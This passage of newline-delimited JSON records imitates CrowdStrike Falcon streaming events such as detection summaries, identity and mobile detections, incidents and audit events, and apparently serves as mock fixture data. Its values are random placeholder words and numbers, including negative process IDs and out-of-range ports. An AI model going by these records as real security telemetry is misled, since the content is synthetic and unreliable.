"Einsteinianwoman","GrandparentCommandLine": "mygate","HostGroups": "whycountry","AssociatedFile": "singlesmile","PatternId": 2086358591}} +{"metadata": {"customerIDString": "theirprofessor","offset": 567248240,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1774734214,"ProcessEndTime": 66307419,"ProcessId": -864884353,"ParentProcessId": -344829259,"ComputerName": "everythingtrade","UserName": "importantplane","DetectName": "anythingmob","DetectDescription": "woman owl mall racism leap host dog case company freedom child leap timing range physician number nurse stupidity quality work line cackle bundle itdog","Severity": 3,"SeverityName": "High","FileName": "hertime","FilePath": "allsink\\hertime","CommandLine": "C:\\Windows\\eacharmy","SHA256String": "everythingplace","MD5String": "somebodyparty","SHA1String": "herhospital","MachineDomain": "obedienthail","NetworkAccesses": [{"AccessType": -1032970588,"AccessTimestamp": 1751371565,"Protocol": "Tibetancrest","LocalAddress": "207.78.73.12","LocalPort": 48124,"RemoteAddress": "122.136.60.14","RemotePort": 41634,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thoseworld?_cid=xxxxxxx","SensorId": "Burkineselion","IOCType": "domain","IOCValue": "whosebale","DetectId": "Ecuadoriannap","LocalIP": "210.235.244.135","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "whichset","Technique": "Pacificregiment","Objective": "whichdress","PatternDispositionDescription": "place problem range game head horde congregation mustering clump hedge heap year bowl rain harvest board door scarycase","PatternDispositionValue": 1078801731,"PatternDispositionFlags": {"Indicator": false,"Detect": true,"InddetMask": true,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "everythingway","ParentCommandLine": "enoughweek","GrandparentImageFileName": "eachline","GrandparentCommandLine": "wheretime","HostGroups": "luckybrace","AssociatedFile": "hishelp","PatternId": 1211434267}} +{"metadata": {"customerIDString": "Salvadoreanstaff","offset": 103240762,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "lots ofpair","MobileDetectionId": 1671974311,"ComputerName": "whybowl","UserName": "severalfather","ContextTimeStamp": 1649061056,"DetectId": "whoseeye","DetectName": "fewflock","DetectDescription": "woman board cigarette bravery grains house buffalo software regiment life heroutfit","Tactic": "Turkishright","TacticId": "thisbunch","Technique": "heavilytheater","TechniqueId": "whatjustice","Objective": "Barcelonianheat","Severity": 95,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thoseline?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "whichkilometer","AndroidAppLabel": "anygrapes","DexFileHashes": "whicheye","ImageFileName": "Monacanbrace","AppInstallerInformation": "badcrew","IsBeingDebugged": false,"AndroidAppVersionName": "heavilywindow","IsContainerized": false}]}} +{"metadata": {"customerIDString": "inquiringproduction","offset": -1536141160,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "franticnation","DetectName": "mymilk","DetectDescription": "generosity hat army growth covey class galaxy batch cash child hail handle mustering shock congregation life way slavery herkey","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/kubanmob?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 30,"SeverityName": "Medium","Tactic": "Senegalesefact","Technique": "muchmovement","Objective": "thosecovey","SourceAccountDomain": "thesecovey","SourceAccountName": "itchysedge","SourceAccountObjectSid": "allomen","SourceEndpointAccountObjectGuid": "so fewgalaxy","SourceEndpointAccountObjectSid": "herenumber","SourceEndpointHostName": "someonecompany","SourceEndpointIpAddress": "195.86.72.168","SourceEndpointSensorId": "substantialnest","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "over theretroupe","PatternId": 660480024}} +{"metadata": {"customerIDString": "manyline","offset": -597466430,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "sufficientrestaurant","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\therebrilliance","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Endpoint","Description": "razor yard whatleap","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/howcompany?_cid=xxxxxxx","FileName": "Vietnamesecountry","FilePath": "Atlanticcorner\\Vietnamesecountry","FilesAccessed": [{"FileName": "Vietnamesecountry","FilePath": "Atlanticcorner\\Vietnamesecountry","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Vietnamesecountry","FilePath": "Atlanticcorner\\Vietnamesecountry","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\thosepatrol","GrandParentImageFileName": "Putinisttrend","GrandParentImageFilePath": "itspants\\Putinisttrend","HostGroups": "yourbowl","Hostname": "funnygrandmother","LocalIP": "19.252.225.20","LocalIPv6": "233.205.254.213","LogonDomain": "theregenetics","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "herweek","Name": "everyblock","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1851110545,"ConnectionDirection": 0,"IsIPV6": false,"LocalAddress": "193.49.166.226","LocalPort": 38575,"Protocol": "foolishphone","RemoteAddress": "165.8.182.160","RemotePort": 78338}],"Objective": "wherestring","ParentCommandLine": "C:\\Windows\\Egyptiansedge\\fewpacket","ParentImageFileName": "fewpacket","ParentImageFilePath": "thatteam\\fewpacket","ParentProcessId": -1681528807,"PatternDispositionDescription": "murder card shoulder crowd quality work accommodation store host troop nap regiment patrol wood person selfishinnocence","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": true,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": true,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": 429314125,"PatternId": -975789334,"PlatformId": "Turkishishviolin","PlatformName": "Windows","ProcessEndTime": 1850358469,"ProcessId": -672567725,"ProcessStartTime": 1587634620,"ReferrerUrl": "Machiavellianelephant","SHA1String": "anythingemployment","SHA256String": "yourwoman","Severity": 42,"SeverityName": "High","SourceProducts": "alltime","SourceVendors": "couplecaravan","Tactic": "everythingbook","Technique": "wherebird","Type": "ofp","UserName": "everybodyhorn"}} +{"metadata": {"customerIDString": "Torontoniancompany","offset": -1122039317,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "thosegenerosity","State": "closed","FineScore": 1.0608080377799243,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "muchclothing","HostID": "itparty","LMHostIDs": ["Antarcticcackle"],"UserId": "so fewharvest"}} +{"metadata": {"customerIDString": "thistiming","offset": -102202667,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "substantialjuice","UserID": "itsweather","ExecutionID": "nokindness","ReportID": "thesehorde","ReportName": "everyonebale","ReportType": "Sammarinesestaff","ReportFileReference": "attractivestaff","Status": "agreeableluck","StatusMessage": "smoggyfinger","ExecutionMetadata": {"ExecutionStart": 601517985,"ExecutionDuration": -709429405,"ReportFileName": "thatbook","ResultCount": 2084610239,"ResultID": "eachmistake","SearchWindowStart": 1734601028,"SearchWindowEnd": -846795858}}} +{"metadata": {"customerIDString": "severalweek","offset": -1707001885,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "Asiantime","IncidentDescription": "cast turkey battery troop aircraft host wisp oxygen whystack","Severity": 51,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "onejoy","UserName": "yourcackle","EndpointName": "energeticbread","EndpointIp": "195.147.210.179","Category": "Incidents","NumbersOfAlerts": 1268934402,"NumberOfCompromisedEntities": 1259764240,"State": "AUTO_RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hergalaxy?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "thatband","offset": 533280884,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "mytroop","Highlights": ["yourmercy"],"MatchedTimestamp": 1686889114000,"RuleId": "blushingstairs","RuleName": "Malagasykangaroo","RuleTopic": "everybodyright","RulePriority": "littletrip","ItemId": "whoselife","ItemType": "CS","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "thosecar","offset": 218160549,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "tooharvest","MobileDetectionId": 1430718232,"ComputerName": "yourleap","UserName": "Frenchtravel","ContextTimeStamp": 1649061056,"DetectId": "gorgeousmob","DetectName": "howcase","DetectDescription": "bale eye day dynasty laughter host number batch number place hand whichbouquet","Tactic": "Mozartianblock","TacticId": "emptyadult","Technique": "ourbody","TechniqueId": "darkarmy","Objective": "herepublicity","Severity": 76,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anythought?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "funnyzoo","AndroidAppLabel": "a little bitwork","DexFileHashes": "a lotaunt","ImageFileName": "ourchair","AppInstallerInformation": "significantpark","IsBeingDebugged": false,"AndroidAppVersionName": "onegenerosity","IsContainerized": true}]}} +{"metadata": {"customerIDString": "itpalm","offset": -734238846,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "somebodyfashion","HostnameField": "hispatrol","UserName": "thishospital","StartTimestamp": 1582830734,"AgentIdString": "yourhumour"}} +{"metadata": {"customerIDString": "Bahamianexaltation","offset": 546463509,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "whatcloud","UserID": "Ecuadorianflour","ExecutionID": "badenthusiasm","ReportID": "howhead","ReportName": "tamebunch","ReportType": "Sudaneseclass","ReportFileReference": "hiswallet","Status": "upsettime","StatusMessage": "significantchild","ExecutionMetadata": {"ExecutionStart": 580693909,"ExecutionDuration": 1591944777,"ReportFileName": "hiswings","ResultCount": -128959722,"ResultID": "theseshower","SearchWindowStart": -248440703,"SearchWindowEnd": -1685768217}}} +{"metadata": {"customerIDString": "whosepack","offset": -839551041,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "herresearch","PolicyId": 220036543,"PolicyStatement": "Burmesestream","CloudProvider": "ityear","CloudService": "Greekexaltation","Severity": 24,"SeverityName": "High","EventAction": "manybrace","EventSource": "over thereoil","EventCreatedTimestamp": 1663011160,"UserId": "whosedesktop","UserName": "herefarm","UserSourceIp": "223.97.203.172","Tactic": "significantworld","Technique": "wherebody"}} +{"metadata": {"customerIDString": "herhouse","offset": -1879896176,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "itcatalog","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\everybodyday","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "place group mustering coffee patrol fiction fun boy person life finger host exaltation exaltation person number galaxy candle case anthology howbunch","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/lightbevy?_cid=xxxxxxx","FileName": "everythinggovernment","FilePath": "theseparty\\everythinggovernment","FilesAccessed": [{"FileName": "everythinggovernment","FilePath": "theseparty\\everythinggovernment","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "everythinggovernment","FilePath": "theseparty\\everythinggovernment","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\anycash","GrandParentImageFileName": "anythinggang","GrandParentImageFilePath": "Englishwidth\\anythinggang","HostGroups": "jealouswad","Hostname": "whereteam","LocalIP": "121.150.104.60","LocalIPv6": "251.127.218.128","LogonDomain": "Salvadoreancongregation","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Alaskanream","Name": "Vietnamesemustering","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1285794417,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "4.193.124.143","LocalPort": 87112,"Protocol": "itsnurse","RemoteAddress": "153.89.96.29","RemotePort": 70233}],"Objective": "wherealbum","ParentCommandLine": "C:\\Windows\\superloss\\herequiver","ParentImageFileName": "herequiver","ParentImageFilePath": "everybodybunch\\herequiver","ParentProcessId": -1276296253,"PatternDispositionDescription": "thosepacket","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": true,"KillActionFailed": false,"KillParent": true,"KillProcess": false,"KillSubProcess": false,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": false,"Rooting": true,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": 587089416,"PatternId": -873792023,"PlatformId": "lightmuster","PlatformName": "Linux","ProcessEndTime": -1943958440,"ProcessId": -478736025,"ProcessStartTime": 121329134,"ReferrerUrl": "enough ofsock","SHA1String": "somebodyyear","SHA256String": "nonestaff","Severity": 85,"SeverityName": "High","SourceProducts": "eachworld","SourceVendors": "everyonefleet","Tactic": "Balineseverb","Technique": "a littleidea","Type": "ldt","UserName": "whichpart"}} +{"metadata": {"customerIDString": "thesesugar","offset": -681064101,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "eachgang","DetectName": "someoneriches","DetectDescription": "a littletroop","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/itsriches?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 67,"SeverityName": "High","Tactic": "faithfulnutrition","Technique": "confusinggang","Objective": "whichleap","SourceAccountDomain": "somebodyday","SourceAccountName": "thesechildren","SourceAccountObjectSid": "uninterestedisland","SourceEndpointAccountObjectGuid": "allwidth","SourceEndpointAccountObjectSid": "itgoodness","SourceEndpointHostName": "gentlecontent","SourceEndpointIpAddress": "50.68.139.91","SourceEndpointSensorId": "theiregg","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "ourproblem","PatternId": 884624048}} +{"metadata": {"customerIDString": "Kyrgyzhen","offset": 797209955,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "alllondon","State": "closed","FineScore": 4.884978426181396,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "littlerange","HostID": "mymercy","LMHostIDs": ["manyreel"],"UserId": "ourhorse"}} +{"metadata": {"customerIDString": "allhandle","offset": -1304643313,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "pricklingtelevision","IncidentDescription": "park chest chest orange tribe nest appetite cap flock bread posse desk joy company dream rhythm patrol tongue hedge apartment whoseoffice","Severity": 32,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Rooseveltianreligion","UserName": "South Americanharvest","EndpointName": "powerlessday","EndpointIp": "250.221.185.73","Category": "Detections","NumbersOfAlerts": 62079556,"NumberOfCompromisedEntities": -2064797836,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thosepacket?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "allcloud","offset": 2057180769,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "oneproblem","UserIp": "6.9.195.182","OperationName": "resetAuthSecret","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "puzzledfrailty","ValueString": "Turkishbrilliance"}],"Attributes": {"actor_cid": "friendlylibrary","actor_user": "whatreligion","actor_user_uuid": "tensechild","app_id": "somebodyday","saml_assertion": "ouraddress","target_user": "mythrill","trace_id": "hisbunch"}}} +{"metadata": {"customerIDString": "thosearchipelago","offset": 1981280026,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "thattrust","HostnameField": "wearycongregation","UserName": "mushyhorde","StartTimestamp": 1582830734,"AgentIdString": "somepride"}} +{"metadata": {"customerIDString": "somepower","offset": 1411701757,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "Iranianpolice station","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\ourtaxi","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Endpoint","Description": "ittea","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/ourswimming pool?_cid=xxxxxxx","FileName": "Ecuadoriangroup","FilePath": "whosesmile\\Ecuadoriangroup","FilesAccessed": [{"FileName": "Ecuadoriangroup","FilePath": "whosesmile\\Ecuadoriangroup","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Ecuadoriangroup","FilePath": "whosesmile\\Ecuadoriangroup","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\thesefork","GrandParentImageFileName": "a littlecabin","GrandParentImageFilePath": "handsomecatalog\\a littlecabin","HostGroups": "mostman","Hostname": "everybodyfleet","LocalIP": "189.29.8.130","LocalIPv6": "159.3.194.174","LogonDomain": "thosecase","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "manyphotographer","Name": "somebodynest","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1060505770,"ConnectionDirection": 0,"IsIPV6": true,"LocalAddress": "171.216.167.11","LocalPort": 82702,"Protocol": "halfmurder","RemoteAddress": "9.215.112.156","RemotePort": 74098}],"Objective": "itsfashion","ParentCommandLine": "C:\\Windows\\theirmotivation\\plenty ofmob","ParentImageFileName": "plenty ofmob","ParentImageFilePath": "expensivehand\\plenty ofmob","ParentProcessId": 1821586867,"PatternDispositionDescription": "table stack troop group cleverness clump time Congolesepack","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": true,"KillActionFailed": true,"KillParent": true,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": true,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": 656044748,"PatternId": -1504638547,"PlatformId": "yourdesk","PlatformName": "Windows","ProcessEndTime": -1683066086,"ProcessId": -611965295,"ProcessStartTime": -19010930,"ReferrerUrl": "thesehost","SHA1String": "whymotherhood","SHA256String": "herbird","Severity": 78,"SeverityName": "Low","SourceProducts": "whatharvest","SourceVendors": "everybodybank","Tactic": "plenty ofpanther","Technique": "itline","Type": "ofp","UserName": "theirjuice"}} +{"metadata": {"customerIDString": "howlibrary","offset": -1357596194,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "everybodycare","State": "closed","FineScore": 7.329323871679526,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "ourimagination","HostID": "whosechapter","LMHostIDs": ["wholelove"],"UserId": "whichdeer"}} +{"metadata": {"customerIDString": "therestove","offset": -1321825362,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -70758647,"ProcessEndTime": 1109602429,"ProcessId": -483490410,"ParentProcessId": -472945298,"ComputerName": "greenpyramid","UserName": "significantgroup","DetectName": "itslie","DetectDescription": "butter year troop troop bowl host marriage cluster egg page group equipment page sink parfume flock bevy year mustering rubbish band world muchline","Severity": 4,"SeverityName": "High","FileName": "abundantfish","FilePath": "severalrange\\abundantfish","CommandLine": "C:\\Windows\\halfdrum","SHA256String": "Bangladeshisorrow","MD5String": "wickedmeeting","SHA1String": "whoseboat","MachineDomain": "everybodyleap","NetworkAccesses": [{"AccessType": 1813273993,"AccessTimestamp": 1751371565,"Protocol": "richspelling","LocalAddress": "212.149.28.8","LocalPort": 17461,"RemoteAddress": "213.132.112.7","RemotePort": 75157,"ConnectionDirection": 0,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Danishchild?_cid=xxxxxxx","SensorId": "thoughtfulpolice","IOCType": "behavior","IOCValue": "nobodyscooter","DetectId": "yourhail","LocalIP": "113.246.231.18","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "anyoneheap","Technique": "shinycorner","Objective": "everycast","PatternDispositionDescription": "noise child leap week catalog basket shirt mob itshail","PatternDispositionValue": 1764829108,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "someonemistake","ParentCommandLine": "over therespaghetti","GrandparentImageFileName": "kindbowl","GrandparentCommandLine": "inquiringbrace","HostGroups": "over therescold","AssociatedFile": "hererubbish","PatternId": -493050193}} +{"metadata": {"customerIDString": "easyyear","offset": 1720121769,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "hereperson","IncidentDescription": "anger mile fun horror knowledge turkey horde wisp country enoughvest","Severity": 42,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "severalgarden","UserName": "howhail","EndpointName": "ourarmy","EndpointIp": "136.101.211.208","Category": "Incidents","NumbersOfAlerts": 646902721,"NumberOfCompromisedEntities": -1900425728,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/yourbunch?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "whoseflock","offset": -737457967,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "confusinghat","DetectName": "Japanesecheese","DetectDescription": "furniture nest wad comb casino man galaxy guilt ball body muster chest dynasty case club problem lips brace hail hat whichtennis","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thosegang?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 7,"SeverityName": "Informational","Tactic": "Middle Easterncompany","Technique": "Greekscold","Objective": "fewenthusiasm","SourceAccountDomain": "insufficientproblem","SourceAccountName": "theirwildlife","SourceAccountObjectSid": "thistolerance","SourceEndpointAccountObjectGuid": "theseswan","SourceEndpointAccountObjectSid": "Icelandiccrowd","SourceEndpointHostName": "Egyptianshower","SourceEndpointIpAddress": "253.226.103.104","SourceEndpointSensorId": "allcluster","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "howcoat","PatternId": 1827299863}} +{"metadata": {"customerIDString": "itchyfailure","offset": 1601443762,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "confusingquiver","DetectName": "wheresedge","DetectDescription": "board forest hedge motor juice troop desk thosesheaf","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/victoriouspack?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 56,"SeverityName": "High","Tactic": "hugeliter","Technique": "myregiment","Objective": "fantasticday","SourceAccountDomain": "itshost","SourceAccountName": "neitherposse","SourceAccountObjectSid": "poisedracism","SourceEndpointAccountObjectGuid": "anyonejuice","SourceEndpointAccountObjectSid": "singlenumber","SourceEndpointHostName": "yourgroup","SourceEndpointIpAddress": "126.48.118.213","SourceEndpointSensorId": "Finnishdoor","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "distinctwheat","PatternId": 776293127}} +{"metadata": {"customerIDString": "whatmob","offset": 385870836,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "itmilk","IncidentDescription": "chair sheaf mercy bravery body wisdom group Laotianscold","Severity": 34,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "jealoustraffic","UserName": "whyevidence","EndpointName": "itshedge","EndpointIp": "171.201.43.87","Category": "Incidents","NumbersOfAlerts": 409486886,"NumberOfCompromisedEntities": -221281473,"State": "AUTO_RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/uptightset?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "thoseroom (space)","offset": -1574265394,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "anynap","State": "open","FineScore": 0.9096205275042146,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "eithergeneration","HostID": "Romaniancoat","LMHostIDs": ["thoseracism"],"UserId": "fewscold"}} +{"metadata": {"customerIDString": "eachsheaf","offset": -179584100,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "ourexaltation","State": "closed","FineScore": 2.263076300759446,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "herecloud","HostID": "howbrace","LMHostIDs": ["singlearchipelago"],"UserId": "stupidmusic"}} +{"metadata": {"customerIDString": "gorgeousgrowth","offset": -1837342772,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "allrhythm","IncidentDescription": "economics mobile host covey whosegrade","Severity": 58,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "itspot","UserName": "manytennis","EndpointName": "purplekindness","EndpointIp": "162.164.166.132","Category": "Incidents","NumbersOfAlerts": -1223214221,"NumberOfCompromisedEntities": -1593909206,"State": "AUTO_RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everyonecanoe?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "whybatch","offset": 56673093,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "Polynesianwhisker","UserID": "theirmusic","ExecutionID": "sparsecup","ReportID": "nobodydog","ReportName": "everyonegovernor","ReportType": "luckybook","ReportFileReference": "Romanirritation","Status": "itclump","StatusMessage": "Greekengine","ExecutionMetadata": {"ExecutionStart": -2030612385,"ExecutionDuration": -1051485609,"ReportFileName": "anythingparty","ResultCount": 977656925,"ResultID": "joyouspoint","SearchWindowStart": -201702444,"SearchWindowEnd": -515784341}}} +{"metadata": {"customerIDString": "jitteryparty","offset": 891806219,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "herefreedom","MobileDetectionId": -284098976,"ComputerName": "whatlife","UserName": "Canadianpad","ContextTimeStamp": 1649061056,"DetectId": "Newtonianbale","DetectName": "Hindumob","DetectDescription": "sedge crowd bed travel woman irritation eachhorde","Tactic": "severalannoyance","TacticId": "boredpack","Technique": "Romaniancaravan","TechniqueId": "elegantway","Objective": "whoselitter","Severity": 30,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anythingbunch?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "jealousbuckles","AndroidAppLabel": "somebodyfashion","DexFileHashes": "thisanimal","ImageFileName": "thesedelay","AppInstallerInformation": "littlestreet","IsBeingDebugged": 